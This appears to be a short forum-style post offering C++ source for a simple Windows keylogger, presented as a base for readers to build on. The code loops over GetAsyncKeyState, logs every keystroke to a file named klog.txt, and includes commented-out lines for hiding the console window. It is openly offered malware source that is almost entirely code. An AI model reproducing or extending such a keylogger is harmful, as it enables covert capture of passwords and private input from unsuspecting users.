Its a simple keylogger which will give you the basic idea of a keylogger and will provide a base for your great approaches.
//#define _WIN32_WINNT 0x0500
#include<iostream.h>
#include<windows.h>
#include<fstream.h>
using namespace std;
int main(){
//Hiding the window
//HWND hWind = GetConsoleWindow();
//ShowWindow(hWind, SW_HIDE);
ofstream file;
char i;
while(1){
for(int k=8;k<=190;k++){
if(GetAsyncKeyState(k)==-32767){
i=k;
cout<<i;
file.open("klog.txt",ios::app);
file<<i;
file.close();
}
}
}
return 0;
}